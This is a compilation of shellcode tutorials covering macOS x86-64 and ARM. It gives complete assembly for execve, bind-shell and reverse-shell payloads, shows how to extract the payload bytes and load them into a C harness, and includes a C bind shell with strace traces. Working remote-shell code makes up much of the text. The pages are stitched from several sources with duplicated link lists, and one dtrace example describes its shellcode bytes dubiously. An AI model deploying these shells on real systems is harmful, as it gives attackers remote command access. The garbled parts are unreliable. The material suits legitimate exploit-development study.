2: A bind TCP shell, listening on port 4444: https://www.exploit-

db.com/exploits/38126/ 

 

I also posted them on my github page: https://github.com/theevilbit/shellcode 

https://infosecwriteups.com/exploitation-with-shellcode-23470cd2aa55
http://ligocki.tumblr.com/post/5174133459/writing-shellcode-under-mac-os-x-part-0x01
http://ligocki.tumblr.com/post/5174133459/writing-shellcode-under-mac-os-x-part-0x01
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http://dustin.schultz.io/blog/2010/11/15/mac-os-x-64-bit-assembly-system-calls/
http://dustin.schultz.io/blog/2010/11/15/mac-os-x-64-bit-assembly-system-calls/
https://www.exploit-db.com/exploits/38065/
https://www.exploit-db.com/exploits/38126/
https://www.exploit-db.com/exploits/38126/
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Shellcode: Mac OSX amd64 

Introduction 

Since Mac OSX is derived from BSD sources, I wrongly presumed the BSD codes 
would work without problem. 0x4d_ having a Mac was able to confirm they did 
not work and so we realized quickly the solution was simply setting bit 25 of 
EAX register using BTS instruction (Bit Test and Set). 

; 

    bts  eax, 25 

You can set alternatively using ROL/ROR/SHL. 

Apple does it their way 

System calls in OSX follow the AMD64 ABI except for one minor difference. The 
last 8-bits of EAX register represent the “class” of system call as described by 
Dustin Schultz in Mac OS X 64 Bit Assembly System Calls. 
Mac OS X or likely BSD has split up the system call numbers into several 
different “classes.” The upper order bits of the syscall number represent the 
class of the system call, in the case of write and exit, it’s 
SYSCALL_CLASS_UNIX and hence the upper order bits are 2! Thus, every 
Unix system call will be (0×2000000 + unix syscall #). 

The main difference between system calls on Mac OSX and BSD (which OSX is 
derived from) is the class. As you can see defined in syscall_sw.h 

/* 

 * Syscall classes for 64-bit system call entry. 

 * For 64-bit users, the 32-bit syscall number is partitioned 

 * with the high-order bits representing the class and low-

order 

 * bits being the syscall number within that class. 

 * The high-order 32-bits of the 64-bit syscall number are 

unused. 

 * All system classes enter the kernel via the syscall 

instruction. 

 * 

 * These are not #ifdef'd for x86-64 because they might be 

used for 

 * 32-bit someday and so the 64-bit comm page in a 32-bit 

kernel 

 * can use them. 

 */ 

#define SYSCALL_CLASS_SHIFT 24 

#define SYSCALL_CLASS_MASK (0xFF << SYSCALL_CLASS_SHIFT) 

#define SYSCALL_NUMBER_MASK (~SYSCALL_CLASS_MASK) 

 

https://modexp.wordpress.com/2017/01/21/shellcode-osx/
http://www.x86-64.org/documentation/abi.pdf
http://dustin.schultz.io/blog/2010/11/15/mac-os-x-64-bit-assembly-system-calls/
https://opensource.apple.com/source/xnu/xnu-792.13.8/osfmk/mach/i386/syscall_sw.h.auto.html


#define SYSCALL_CLASS_NONE 0 /* Invalid */ 

#define SYSCALL_CLASS_MACH 1 /* Mach */  

#define SYSCALL_CLASS_UNIX 2 /* Unix/BSD */ 

#define SYSCALL_CLASS_MDEP 3 /* Machine-dependent */ 

#define SYSCALL_CLASS_DIAG 4 /* Diagnostics */ 

So when constructing a system call, they use the following macro defined in 
same header file. 

#define SYSCALL_CONSTRUCT_UNIX(syscall_number) \ 

    ((SYSCALL_CLASS_UNIX << SYSCALL_CLASS_SHIFT) | \ 

     (SYSCALL_NUMBER_MASK & (syscall_number))) 

Spawn /bin/sh 

; 26 bytes execute /bin/sh 

; 

    bits    64 

 

    xor     esi, esi         ; esi = 0 

    mul     esi              ; eax = 0, edx = 0 

    bts     eax, 25          ; eax = 0x02000000 

    mov     al, 59           ; rax = sys_execve 

    mov     rbx, '/bin//sh' 

    push    rdx              ; 0 

    push    rbx              ; "/bin//sh" 

    push    rsp 

    pop     rdi              ; rdi="/bin//sh", 0 

    syscall 

Execute command 

; 43 bytes execute command 

; 

    bits    64 

 

    push    59 

    pop     rax         ; eax = sys_execve 

    cdq                 ; edx = 0 

    bts     eax, 25     ; eax = 0x0200003B 

    mov     rbx, '/bin//sh' 

    push    rdx         ; 0 

    push    rbx         ; "/bin//sh" 

    push    rsp 

    pop     rdi         ; rdi="/bin//sh", 0 

    ; --------- 

    push    rdx         ; 0 



    push    word '-c' 

    push    rsp 

    pop     rbx         ; rbx="-c", 0 

    push    rdx         ; argv[3]=NULL 

    jmp     l_cmd64 

r_cmd64:                ; argv[2]=cmd 

    push    rbx         ; argv[1]="-c" 

    push    rdi         ; argv[0]="/bin//sh" 

    push    rsp 

    pop     rsi         ; rsi=argv 

    syscall 

l_cmd64: 

    call    r_cmd64 

    ; put your command here followed by null terminator 

Bind port to shell 

; 91 bytes bind shell 

; 

    bits 64 

     

    mov     eax, ~0xd2040200 & 0xFFFFFFFF 

    not     eax 

    push    rax 

     

    xor     ebp, ebp 

    bts     ebp, 25 

    ; step 1, create a socket 

    ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP); 

    push    rbp 

    pop     rax              ; rax = 0x02000000 

    cdq                      ; rdx = IPPROTO_IP 

    push    1 

    pop     rsi              ; rsi = SOCK_STREAM 

    push    2 

    pop     rdi              ; rdi = AF_INET    

    mov     al, 97           ; eax = sys_socket 

    syscall 

     

    xchg    eax, edi         ; edi=s 

    xchg    eax, ebx         ; ebx=2 

     

    ; step 2, bind to port 1234  

    ; bind(s, {AF_INET,1234,INADDR_ANY}, 16) 

    push    rbp 



    pop     rax 

    push    rsp 

    pop     rsi 

    mov     dl, 16 

    mov     al, 104 

    syscall 

     

    ; step 3, listen 

    ; listen(s, 0); 

    push    rax 

    pop     rsi 

    push    rbp 

    pop     rax     

    mov     al, 106 

    syscall 

     

    ; step 4, accept connections 

    ; accept(s, 0, 0); 

    push    rbp 

    pop     rax     

    mov     al, 30 

    cdq 

    syscall 

     

    xchg    eax, edi         ; edi=r 

    push    rbx              ; rsi=2 

    pop     rsi 

     

    ; step 5, assign socket handle to stdin,stdout,stderr 

    ; dup2(r, FILENO_STDIN) 

    ; dup2(r, FILENO_STDOUT) 

    ; dup2(r, FILENO_STDERR) 

dup_loop64: 

    push    rbp 

    pop     rax 

    mov     al, 90           ; rax=sys_dup2 

    syscall 

    sub     esi, 1 

    jns     dup_loop64       ; jump if not signed    

     

    ; step 6, execute /bin/sh 

    ; execve("/bin//sh", {"/bin//sh", NULL}, 0); 

    xor     esi, esi  

    cdq                      ; rdx=0 



    mov     rbx, '/bin//sh' 

    push    rdx              ; 0 

    push    rbx              ; "/bin//sh" 

    push    rsp 

    pop     rdi              ; "/bin//sh", 0 

    ; --------- 

    push    rbp 

    pop     rax     

    mov     al, 59           ; rax=sys_execve 

    syscall 

Reverse connect shell 

; 79 byte reverse shell 

; 

    bits    64 

 

    mov     rcx, ~0x0100007fd2040200 

    not     rcx 

    push    rcx 

     

    xor     ebp, ebp 

    bts     ebp, 25 

    ; step 1, create a socket 

    ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP); 

    push    rbp 

    pop     rax 

    cdq                      ; rdx=IPPROTO_IP 

    push    1 

    pop     rsi              ; rsi=SOCK_STREAM 

    push    2 

    pop     rdi              ; rdi=AF_INET   

    mov     al, 97 

    syscall 

     

    xchg    eax, edi         ; edi=s 

    xchg    eax, esi         ; esi=2 

     

    ; step 2, assign socket handle to stdin,stdout,stderr 

    ; dup2(r, FILENO_STDIN) 

    ; dup2(r, FILENO_STDOUT) 

    ; dup2(r, FILENO_STDERR) 

dup_loop64: 

    push    rbp 

    pop     rax              ; eax = 0x02000000  



    mov     al, 90           ; rax=sys_dup2 

    syscall 

    sub     esi, 1 

    jns     dup_loop64       ; jump if not signed 

     

    ; step 3, connect to remote host 

    ; connect (sockfd, {AF_INET,1234,127.0.0.1}, 16); 

    push    rbp 

    pop     rax 

    push    rsp 

    pop     rsi 

    mov     dl, 16           ; rdx=sizeof(sa) 

    mov     al, 98           ; rax=sys_connect 

    syscall     

     

    ; step 4, execute /bin/sh 

    ; execve("/bin//sh", NULL, 0); 

    push    rax 

    pop     rsi 

    push    rbp 

    pop     rax 

    cdq                      ; rdx=0 

    mov     rbx, '/bin//sh' 

    push    rdx              ; 0 

    push    rbx              ; "/bin//sh" 

    push    rsp 

    pop     rdi              ; "/bin//sh", 0 

    mov     al, 59           ; rax=sys_execve 

    syscall 

Sources 

See here. 

https://modexp.wordpress.com/2017/01/21/shellcode-osx/ 

https://www.youtube.com/watch?v=rg6kU42LQcY&ab_channel=HackVlix 

https://github.com/daem0nc0re/macOS_ARM64_Shellcode 

Fun With Shellcode On MacOS x86_64 
Overview and historic info 

Before diving into building a test 64-bit shellcode on macOS Sierra, some historic information 

will help to understand the context: 

https://github.com/odzhan/shellcode/tree/master/os/osx/amd64
https://modexp.wordpress.com/2017/01/21/shellcode-osx/
https://www.youtube.com/watch?v=rg6kU42LQcY&ab_channel=HackVlix
https://github.com/daem0nc0re/macOS_ARM64_Shellcode


• The stack of applications is marked as non-executable by default to prevent code 

injection and stack-based buffer overflows. 

• The heap is not executable by default, although it is considerably harder (although not 

impossible) to inject code via the heap. 

• On previoud macOS versions, both these settings could be changed system-wide 

using sysctl (8) command and setting 

the vm.allow_stack_exec and vm.allow_heap_exec variables to 1. This is no longer 

possible in Sierra: 

$ sysctl -a | grep exec 

security.mac.qtn.user_approved_exec: 1 

 

$ sysctl -w vm.allow_stack_exec = 1 

sysctl: unknown oid 'vm.allow_stack_exec' 

 

$ sysctl -w vm.allow_heap_exec = 1 

sysctl: unknown oid 'vm.allow_heap_exec' 

• For iOS, by default neither heap nor stack are executable. 

Building shellcode 

To start with, we need a simple x86-64 assembly source code. The one from here looks good: 

section .data 

hello_world     db "Hello World!", 0x0a 

 

section .text 

global start 

 

start: 

mov rax, 0x2000004   ; System call write = 4 

mov rdi, 1           ; Write to standard out = 1 

mov rsi, hello_world ; The address of hello_world string 

mov rdx, 14          ; The size to write 

syscall              ; Invoke the kernel 

mov rax, 0x2000001   ; System call number for exit = 1 

mov rdi, 0           ; Exit success = 0 

https://craftware.xyz/tips/Heap-exec.html
https://dotdideriksen.blogspot.co.uk/2016/06/osx8664-hello-world-shellcode.html


syscall              ; Invoke the kernel 

Next, compile the assembly, link the object to a binary and test it. A newer version of nasm is 

needed since the default one in Sierra doesn’t suport macho64 objects: 

$ nasm -v 

NASM version 2.13.03 compiled on Feb  8 2018 

 

$ brew install nasm 

$ ln -s /usr/local/Cellar/nasm/2.13.03/bin/nasm myNasm 

 

$ ./myNasm -v 

NASM version 2.13.03 compiled on Feb  8 2018 

 

$ ./myNasm -f macho64 hello-simple.s 

$ ld hello-simple.o -o hello-simple 

$ ./hello-simple 

Hello World! 

OK, it works. Next, to obtain a shellcode from the binary, extract the code bytes of the text 

section: 

$ objdump -d hello-simple 

 

hello-simple: file format Mach-O 64-bit x86-64 

 

Disassembly of section __TEXT,__text: 

__text: 

    1fd9: b8 04 00 00 02  movl $33554436, %eax 

    1fde: bf 01 00 00 00  movl $1, %edi 

    1fe3: 48 be 00 20 00 00 00 00 00 00  movabsq $8192, %rsi 

    1fed: ba 0e 00 00 00  movl $14, %edx 

    1ff2: 0f 05  syscall 

    1ff4: b8 01 00 00 02  movl $33554433, %eax 

    1ff9: bf 00 00 00 00  movl $0, %edi 

    1ffe: 0f 05  syscall 



 

start: 

    1fd9: b8 04 00 00 02  movl $33554436, %eax 

    1fde: bf 01 00 00 00  movl $1, %edi 

    1fe3: 48 be 00 20 00 00 00 00 00 00  movabsq $8192, %rsi 

    1fed: ba 0e 00 00 00  movl $14, %edx 

    1ff2: 0f 05  syscall 

    1ff4: b8 01 00 00 02  movl $33554433, %eax 

    1ff9: bf 00 00 00 00  movl $0, %edi 

    1ffe: 0f 05  syscall 

 

$ otool -t hello-simple 

hello-simple: 

Contents of (__TEXT,__text) section 

0000000000001fd9 b8 04 00 00 02 bf 01 00 00 00 48 be 00 20 00 00 

0000000000001fe9 00 00 00 00 ba 0e 00 00 00 0f 05 b8 01 00 00 02 

0000000000001ff9 bf 00 00 00 00 0f 05 

Next, we need to plug this shellcode into a template c code that will execute it. We need to 

make sure that the shellcode will be in an executable memory section. By default, a string we 

define would reside in the .data section. To be safe, we’ll move it to the .text section, which 

contains code and is executable: 

const char sc[] __attribute__((section("__TEXT,__text"))) = 

"\xb8\x04\x00\x00\x02\xbf\x01\x00\x00\x00\x48\xbe\x00\x20\x00\x00\x00\x00\x00\x00\xb

a\x0e\x00\x00\x00\x0f\x05\xb8\x01\x00\x00\x02\xbf\x00\x00\x00\x00\x0f\x05"; 

 

typedef int (*funcPtr)(); 

int main(int argc, char **argv) 

{ 

    funcPtr func = (funcPtr) sc; 

    (*func)(); 

 

    return 0; 

} 



Let’s test: 

$ clang  hello.c -o hello2 

$ ./hello2 

No message. Apparently nothign happens. Time to bring up lldb. As a side-note, if you’re not 

familiar with lldb there is a nice cheatsheet mapping GDB to LLDB commands. Fire up lldb and 

start analysing: 

$ lldb ./hello2 

(lldb) target create "./hello2" 

Current executable set to './hello2' (x86_64). 

(lldb) breakpoint set --name main 

Breakpoint 1: where = hello2`main, address = 0x0000000100000f50 

(lldb) r 

Process 4650 launched: './hello2' (x86_64) 

Process 4650 stopped 

* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1 

    frame #0: 0x0000000100000f50 hello2`main 

hello2`main: 

->  0x100000f50 <+0>: pushq  %rbp 

    0x100000f51 <+1>: movq   %rsp, %rbp 

    0x100000f54 <+4>: subq   $0x20, %rsp 

    0x100000f58 <+8>: leaq   0x31(%rip), %rax          ; sc 

[..] 

Step into the call running the shellcode and notice the point where the message string gets 

moved into rsi: 

->  0x100000f9a <+10>: movabsq $0x2000, %rsi             ; imm = 0x2000 

    0x100000fa4 <+20>: movl   $0xe, %edx 

    0x100000fa9 <+25>: syscall 

    0x100000fab <+27>: movl   $0x2000001, %eax          ; imm = 0x2000001 

Target 0: (hello2) stopped. 

(lldb) x/s 0x2000 

error: failed to read memory from 0x2000. 

https://lldb.llvm.org/lldb-gdb.html


The problem is that code needs to be position independent, and in this case clearly it’s not 

since the initial binary was reading the string from the .data section. This is a well-known issue, 

not specific to OSX or 64-bit so I won’t insist on it. The solution is also well-known: 

section .data 

; Not relevant; just to avoid 'dyld: no writable segment' error 

hello   db  "empty!" 

 

section .text 

 

global start 

 

start: 

    jmp trick 

 

continue: 

    pop rsi              ; Pop string ddress into rsi 

    mov rax, 0x2000004   ; System call write = 4 

    mov rdi, 1           ; Write to standard out = 1 

    mov rdx, 14          ; The size to write 

    syscall              ; Invoke the kernel 

    mov rax, 0x2000001   ; System call number for exit = 1 

    mov rdi, 0           ; Exit success = 0 

    syscall              ; Invoke the kernel 

 

trick: 

    call continue 

    db "Hello World!", 0x0d, 0x0a 

Let’s see if it works now: 

$ ./myNasm -f macho64 hello.s 

$ ld hello.o -o hello 

 

$ ./hello 



Hello World! 

 

$ otool -t hello 

hello: 

Contents of (__TEXT,__text) section 

0000000000001fcd eb 1e 5e b8 04 00 00 02 bf 01 00 00 00 ba 0e 00 

0000000000001fdd 00 00 0f 05 b8 01 00 00 02 bf 00 00 00 00 0f 05 

0000000000001fed e8 dd ff ff ff 48 65 6c 6c 6f 20 57 6f 72 6c 64 

0000000000001ffd 21 0d 0a 

 

$ clang  hello.c -o hello3 

 

$ ./hello3 

Hello World! 

There are still more steps to do, like removing null-bytes for example, but it’s a good start! 

https://craftware.xyz/tips/Shellcode-MacOS-64.html 

Analyzing the Shellcode with Dtrace 

dtrace is a powerful dynamic tracing tool on macOS that allows you to 

observe and instrument the behavior of the operating system and user 

applications. It can also be used to analyze shellcode, which is a piece of 

machine code that is typically used in exploits and other malicious attacks. 

Here's how you can use dtrace to analyze shellcode: 

1. Create a file called shellcode.c that contains your shellcode. For 

example: 

char shellcode[] = 

"\x48\x31\xc0\x48\x89\xc2\x48\x8d\x0d\x00\x00\x00\x00\x48\x8d\x14\x25\x

00\x00\x00\x00\x48\x81\xea\x00\x10\x00\x00\x48\x31\xd2\x0f\x05\x90";  

This shellcode simply executes the syscall instruction on x86-64 architectures 

to terminate the current process. 

2. Compile the file with the -m64 flag to produce a 64-bit binary: 

https://craftware.xyz/tips/Shellcode-MacOS-64.html


gcc -m64 -o shellcode shellcode.c  

3. Use dtrace to trace the execution of the shellcode: 

sudo dtrace -n 'syscall:::entry { @[probefunc] = count(); }' -c './shellcode'  

This dtrace command traces all system calls (syscall:::entry) and counts the 

number of times each system call is executed. The -c flag specifies the 

command to run under dtrace, which in this case is the compiled shellcode 

binary. 

4. Run the dtrace command and enter your password when prompted. 

The output will show how many times the syscall instruction is 

executed by the shellcode. 

Here's an example of what the output might look like: 

 



https://www.brendangregg.com/DTrace/DTrace_Chapter_9_Applications.pdf 

TCP Bind Shell in Assembly (ARM 32-bit) 

In this tutorial, you will learn how to write TCP bind shellcode that is free of null bytes 

and can be used as shellcode for exploitation. When I talk about exploitation, I’m strictly 

referring to approved and legal vulnerability research. For those of you relatively new to 

software exploitation, let me tell you that this knowledge can, in fact, be used for good. 

If I find a software vulnerability like a stack overflow and want to test its exploitability, I 

need working shellcode. Not only that, I need techniques to use that shellcode in a way 

that it can be executed despite the security measures in place. Only then I can show the 

exploitability of this vulnerability and the techniques malicious attackers could be using 

to take advantage of security flaws. 

After going through this tutorial, you will not only know how to write shellcode that binds 

a shell to a local port, but also how to write any shellcode for that matter. To go from bind 

shellcode to reverse shellcode is just about changing 1-2 functions, some parameters, but 

most of it is the same. Writing a bind or reverse shell is more difficult than creating a 

simple execve() shell. If you want to start small, you can learn how to write a simple 

execve() shell in assembly before diving into this slightly more extensive tutorial. If you 

need a refresher in Arm assembly, take a look at my ARM Assembly Basics tutorial 

series, or use this Cheat Sheet: 

 

Before we start, I’d like to remind you that we’re creating ARM shellcode and therefore 

need to set up an ARM lab environment if you don’t already have one. You can set it up 

yourself (Emulate Raspberry Pi with QEMU) or save time and download the ready-made 

Lab VM I created (ARM Lab VM). Ready? 
U N D E R S T A N D I N G  T H E  D E T A I L S  

First of all, what is a bind shell and how does it really work? With a bind shell, you open 

up a communication port or a listener on the target machine. The listener then waits for 

an incoming connection, you connect to it, the listener accepts the connection and gives 

you shell access to the target system. 

https://www.brendangregg.com/DTrace/DTrace_Chapter_9_Applications.pdf
https://azeria-labs.com/writing-arm-shellcode/
https://azeria-labs.com/writing-arm-shellcode/
https://azeria-labs.com/writing-arm-assembly-part-1/
https://azeria-labs.com/emulate-raspberry-pi-with-qemu/
https://azeria-labs.com/arm-lab-vm/
https://azeria-labs.com/downloads/cheatsheetv1.1-1920x1080.png


 

This is different from how Reverse Shells work. With a reverse shell, you make the target 

machine communicate back to your machine. In that case, your machine has a listener 

port on which it receives the connection back from the target system. 

  

 

Both types of shell have their advantages and disadvantages depending on the target 

environment. It is, for example, more common that the firewall of the target network fails 

to block outgoing connections than incoming. This means that your bind shell would bind 

a port on the target system, but since incoming connections are blocked, you wouldn’t be 

able to connect to it. Therefore, in some scenarios, it is better to have a reverse shell that 

can take advantage of firewall misconfigurations that allow outgoing connections. If you 

know how to write a bind shell, you know how to write a reverse shell. There are only a 

couple of changes necessary to transform your assembly code into a reverse shell once 

you understand how it is done. 

To translate the functionalities of a bind shell into assembly, we first need to get familiar 

with the process of a bind shell: 

1. Create a new TCP socket 
2. Bind socket to a local port 
3. Listen for incoming connections 
4. Accept incoming connection 
5. Redirect STDIN, STDOUT and STDERR to a newly created socket from a client 
6. Spawn the shell 

This is the C code we will use for our translation. 

#include <stdio.h>  
#include <sys/types.h>   
#include <sys/socket.h>  



#include <netinet/in.h>  
 
int host_sockid;    // socket file descriptor  
int client_sockid;  // client file descriptor  
 
struct sockaddr_in hostaddr;            // server aka listen address 
 
int main()  
{  
    // Create new TCP socket  
    host_sockid = socket(PF_INET, SOCK_STREAM, 0);  
 
    // Initialize sockaddr struct to bind socket using it  
    hostaddr.sin_family = AF_INET;                  // server socket type 
address family = internet protocol address 
    hostaddr.sin_port = htons(4444);                // server port, converted 
to network byte order 
    hostaddr.sin_addr.s_addr = htonl(INADDR_ANY);   // listen to any address, 
converted to network byte order 
 
    // Bind socket to IP/Port in sockaddr struct  
    bind(host_sockid, (struct sockaddr*) &hostaddr, sizeof(hostaddr));  
 
    // Listen for incoming connections  
    listen(host_sockid, 2);  
 
    // Accept incoming connection  
    client_sockid = accept(host_sockid, NULL, NULL);  
 
    // Duplicate file descriptors for STDIN, STDOUT and STDERR  
    dup2(client_sockid, 0);  
    dup2(client_sockid, 1);  
    dup2(client_sockid, 2);  
 
    // Execute /bin/sh  
    execve("/bin/sh", NULL, NULL);  
    close(host_sockid);  
 
    return 0;  
} 

S T A G E  O N E :  S Y S T E M  F U N C T I O N S  A N D  T H E I R  P A R A M E T E R S  

The first step is to identify the necessary system functions, their parameters, and their 

system call numbers. Looking at the C code above, we can see that we need the following 

functions: socket, bind, listen, accept, dup2, execve. You can figure out the system call 

numbers of these functions with the following command: 

pi@raspberrypi:~/bindshell $ cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | 
grep socket 
#define __NR_socketcall             (__NR_SYSCALL_BASE+102) 
#define __NR_socket                 (__NR_SYSCALL_BASE+281) 
#define __NR_socketpair             (__NR_SYSCALL_BASE+288) 
#undef __NR_socketcall 

If you’re wondering about the value of _NR_SYSCALL_BASE, it’s 0: 



root@raspberrypi:/home/pi# grep -R "__NR_SYSCALL_BASE" /usr/include/arm-linux-
gnueabihf/asm/ 
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_SYSCALL_BASE 0 

These are all the syscall numbers we’ll need: 

#define __NR_socket    (__NR_SYSCALL_BASE+281) 
#define __NR_bind      (__NR_SYSCALL_BASE+282) 
#define __NR_listen    (__NR_SYSCALL_BASE+284) 
#define __NR_accept    (__NR_SYSCALL_BASE+285) 
#define __NR_dup2      (__NR_SYSCALL_BASE+ 63) 
#define __NR_execve    (__NR_SYSCALL_BASE+ 11) 

The parameters each function expects can be looked up in the linux man pages, or 

on w3challs.com. 

Function R7 R0 R1 R2 

Socket 281 int socket_family int socket_type int protocol 

Bind 282 int sockfd const struct sockaddr *addr socklen_t addrlen 

Listen 284 int sockfd int backlog – 

Accept 285 int sockfd struct sockaddr *addr socklen_t *addrlen 

Dup2 63 int oldfd int newfd – 

Execve 11 const char *filename char *const argv[] char *const envp[] 

The next step is to figure out the specific values of these parameters. One way of doing 

that is to look at a successful bind shell connection using strace. Strace is a tool you can 

use to trace system calls and monitor interactions between processes and the Linux 

Kernel. Let’s use strace to test the C version of our bind shell. To reduce the noise, we 

limit the output to the functions we’re interested in. 

Terminal 1: 

pi@raspberrypi:~/bindshell $ gcc bind_test.c -o bind_test 
pi@raspberrypi:~/bindshell $ strace -e execve,socket,bind,listen,accept,dup2 
./bind_test 
Terminal 2: 

pi@raspberrypi:~ $ netstat -tlpn 
Proto Recv-Q  Send-Q  Local Address  Foreign Address  State     PID/Program 
name 

http://man7.org/linux/man-pages/index.html
https://w3challs.com/syscalls/?arch=arm_strong


tcp    0      0       0.0.0.0:22     0.0.0.0:*        LISTEN    -  
tcp    0      0       0.0.0.0:4444   0.0.0.0:*        LISTEN    
1058/bind_test  
pi@raspberrypi:~ $ netcat -nv 0.0.0.0 4444 
Connection to 0.0.0.0 4444 port [tcp/*] succeeded! 

 

This is our strace output: 

pi@raspberrypi:~/bindshell $ strace -e execve,socket,bind,listen,accept,dup2 
./bind_test 
execve("./bind_test", ["./bind_test"], [/* 49 vars */]) = 0 
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3 
bind(3, {sa_family=AF_INET, sin_port=htons(4444), 
sin_addr=inet_addr("0.0.0.0")}, 16) = 0 
listen(3, 2) = 0 
accept(3, 0, NULL) = 4 
dup2(4, 0) = 0 
dup2(4, 1) = 1 
dup2(4, 2) = 2 
execve("/bin/sh", [0], [/* 0 vars */]) = 0 

Now we can fill in the gaps and note down the values we’ll need to pass to the functions 

of our assembly bind shell. 

Function R7 R0 R1 R2 

Socket 281 2 1 0 

Bind 282 host_sockid (struct sockaddr*) &hostaddr 16 

Listen 284 host_sockid 2 – 



Function R7 R0 R1 R2 

Accept 285 host_sockid 0 0 

Dup2 63 client_sockid 0 / 1 / 2 – 

Execve 11 “/bin/sh” 0 0 

S T A G E  T W O :  S T E P  B Y  S T E P  T R A N S L A T I O N  

In the first stage, we answered the following questions to get everything we need for our 

assembly program: 

1. Which functions do I need? 
2. What are the system call numbers of these functions? 
3. What are the parameters of these functions? 
4. What are the values of these parameters? 

This step is about applying this knowledge and translating it to assembly. Split each 

function into a separate chunk and repeat the following process: 

1. Map out which register you want to use for which parameter 
2. Figure out how to pass the required values to these registers 

1. How to pass an immediate value to a register 
2. How to nullify a register without directly moving a #0 into it (we 

need to avoid null-bytes in our code and must therefore find other 
ways to nullify a register or a value in memory) 

3. How to make a register point to a region in memory which stores 
constants and strings 

3. Use the right system call number to invoke the function and keep track of register 
content changes 

1. Keep in mind that the result of a system call will land in r0, which 
means that in case you need to reuse the result of that function in 
another function, you need to save it into another register before 
invoking the function. 

2. Example: host_sockid = socket(2, 1, 0) – the result (host_sockid) 
of the socket call will land in r0. This result is reused in other 
functions like listen(host_sockid, 2), and should therefore be 
preserved in another register. 

0 – Switch to Thumb Mode 

The first thing you should do to reduce the possibility of encountering null-bytes is to use 

Thumb mode. In Arm mode, the instructions are 32-bit, in Thumb mode they are 16-bit. 

This means that we can already reduce the chance of having null-bytes by simply reducing 

the size of our instructions. To recap how to switch to Thumb mode: ARM instructions 

must be 4 byte aligned. To change the mode from ARM to Thumb, set the LSB (Least 

Significant Bit) of the next instruction’s address (found in PC) to 1 by adding 1 to the PC 

register’s value and saving it to another register. Then use a BX (Branch and eXchange) 

instruction to branch to this other register containing the address of the next instruction 



with the LSB set to one, which makes the processor switch to Thumb mode. It all boils 

down to the following two instructions. 

.section .text 

.global _start 

_start: 

    .ARM 

    add     r3, pc, #1             

    bx      r3 

From here you will be writing Thumb code and will therefore need to indicate this by 

using the .THUMB directive in your code. 

1 – Create new Socket 

 

  

These are the values we need for the socket call parameters: 

root@raspberrypi:/home/pi# grep -R "AF_INET\|PF_INET \|SOCK_STREAM 
=\|IPPROTO_IP =" /usr/include/ 



/usr/include/linux/in.h: IPPROTO_IP = 0,                               // 
Dummy protocol for TCP  
/usr/include/arm-linux-gnueabihf/bits/socket_type.h: SOCK_STREAM = 1,  // 
Sequenced, reliable, connection-based 
/usr/include/arm-linux-gnueabihf/bits/socket.h:#define PF_INET 2       // IP 
protocol family.  
/usr/include/arm-linux-gnueabihf/bits/socket.h:#define AF_INET PF_INET 

After setting up the parameters, you invoke the socket system call with the svc instruction. 

The result of this invocation will be our host_sockid and will end up in r0. Since we 

need host_sockid later on, let’s save it to r4. 

In ARM, you can’t simply move any immediate value into a register. If you’re interested 

more details about this nuance, there is a section in the Memory Instructions chapter (at 

the very end). 

To check if I can use a certain immediate value, I wrote a tiny script (ugly code, don’t 

look) called rotator.py. 

pi@raspberrypi:~/bindshell $ python rotator.py 
Enter the value you want to check: 281 
Sorry, 281 cannot be used as an immediate number and has to be split. 
 
pi@raspberrypi:~/bindshell $ python rotator.py 
Enter the value you want to check: 200 
The number 200 can be used as a valid immediate number. 
50 ror 30 --> 200 
 
pi@raspberrypi:~/bindshell $ python rotator.py 
Enter the value you want to check: 81 
The number 81 can be used as a valid immediate number. 
81 ror 0 --> 81 

Final code snippet: 

    .THUMB 

    mov     r0, #2 

    mov     r1, #1 

    sub     r2, r2, r2 

    mov     r7, #200 

    add     r7, #81                // r7 = 281 (socket syscall number)  

    svc     #1                     // r0 = host_sockid value  

    mov     r4, r0                 // save host_sockid in r4 

https://azeria-labs.com/memory-instructions-load-and-store-part-4/
https://raw.githubusercontent.com/azeria-labs/rotator/master/rotator.py


2 – Bind Socket to Local Port 

  

 

With the first instruction, we store a structure object containing the address family, host 

port and host address in the literal pool and reference this object with pc-relative 

addressing. The literal pool is a memory area in the same section (because the literal pool 

is part of the code) storing constants, strings, or offsets. Instead of calculating the pc-

relative offset manually, you can use an ADR instruction with a label. ADR accepts a PC-

relative expression, that is, a label with an optional offset where the address of the label 

is relative to the PC label. Like this: 

// bind(r0, &sockaddr, 16) 

 adr r1, struct_addr    // pointer to address, port 
 [...] 
struct_addr: 
.ascii "\x02\xff"       // AF_INET 0xff will be NULLed  
.ascii "\x11\x5c"       // port number 4444  
.byte 1,1,1,1           // IP Address 

The next 5 instructions are STRB (store byte) instructions. A STRB instruction stores one 

byte from a register to a calculated memory region. The syntax [r1, #1] means that we 

take R1 as the base address and the immediate value (#1) as an offset. 

In the first instruction we made R1 point to the memory region where we store the values 

of the address family AF_INET, the local port we want to use, and the IP address. We 

could either use a static IP address, or we could specify 0.0.0.0 to make our bind shell 



listen on all IPs which the target is configured with, making our shellcode more portable. 

Now, those are a lot of null-bytes. 

Again, the reason we want to get rid of any null-bytes is to make our shellcode usable for 

exploits that take advantage of memory corruption vulnerabilities that might be sensitive 

to null-bytes. Some buffer overflows are caused by improper use of functions like 

‘strcpy’. The job of strcpy is to copy data until it receives a null-byte. We use the overflow 

to take control over the program flow and if strcpy hits a null-byte it will stop copying 

our shellcode and our exploit will not work. With the strb instruction we take a null byte 

from a register and modify our own code during execution. This way, we don’t actually 

have a null byte in our shellcode, but dynamically place it there. This requires the code 

section to be writable and can be achieved by adding the -N flag during the linking 

process. 

For this reason, we code without null-bytes and dynamically put a null-byte in places 

where it’s necessary. As you can see in the next picture, the IP address we specify is 

1.1.1.1 which will be replaced by 0.0.0.0 during execution. 

  

 

The first STRB instruction replaces the placeholder xff in \x02\xff with x00 to set the 

AF_INET to \x02\x00. How do we know that it’s a null byte being stored? Because r2 

contains 0’s only due to the “sub r2, r2, r2” instruction which cleared the register. The 

next 4 instructions replace 1.1.1.1 with 0.0.0.0. Instead of the four strb instructions after 

strb r2, [r1, #1], you can also use one single str r2, [r1, #4] to do a full 0.0.0.0 write. 

The move instruction puts the length of the sockaddr_in structure length (2 bytes for 

AF_INET, 2 bytes for PORT, 4 bytes for ipaddress, 8 bytes padding = 16 bytes) into r2. 

